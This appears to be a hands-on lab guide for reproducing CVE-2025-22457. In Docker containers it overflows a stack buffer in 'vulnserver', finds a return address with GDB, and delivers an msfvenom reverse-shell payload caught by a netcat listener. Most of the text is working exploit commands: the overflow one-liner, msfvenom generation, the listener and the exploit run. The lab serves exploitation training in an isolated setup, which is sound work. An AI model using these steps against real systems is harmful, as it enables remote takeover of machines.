
Hands-on lab reproducing CVE-2025-22457: sets up Docker attacker/victim containers, finds stack addresses with GDB, and delivers a msfvenom reverse shell exploit.
If you are using Windows, you can open WSL to execute it.
chmod +x setup_environment.sh
./setup_environment.sh
Since memory addresses and IPs are dynamic in different environments, you need to find them manually and update the exploit.py script.
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
The goal of this step is to find a stable stack address so that our payload can jump precisely.
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
Trigger the breakpoint: Using the attacker docker, execute the following command to send a test payload. This will make GDB stop at the breakpoint. Note: Replace <VICTIM_IP> with the Victim IP shown in step 1.
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
Find and record the address: Return to the terminal window where GDB is running; the program should have stopped. Execute the following command to inspect the stack:
(gdb) x/200wx $esp
In the output, find a region composed of 0x43434343 (representing 'C'). Pick any address from the middle of this region (for example, 0xffffd580) and copy it down. This is the stack_address.
Use a text editor to update the stack_address in exploit.py to the address you just copied.
In the shell of the attacker container, execute the msfvenom command to generate shellcode. Note: Replace <ATTACKER_IP> with the Attacker IP shown in step 1.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
Copy the entire buf = b""... code output by msfvenom, and use it to completely replace the existing buf variable section in the exploit.py file.
nc -lvnp 4444
You can use the following two methods. Method 1
./vulnserver
Method 2
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
Verify the result: Switch back to the window where the netcat listener is running. If everything goes smoothly, you should see a connection established and get an interactive shell. You can enter commands such as whoami and ls -la to verify.
Enter quit in GDB, then enter exit in the container shell.
docker stop vic atac
docker network rm 111550082_net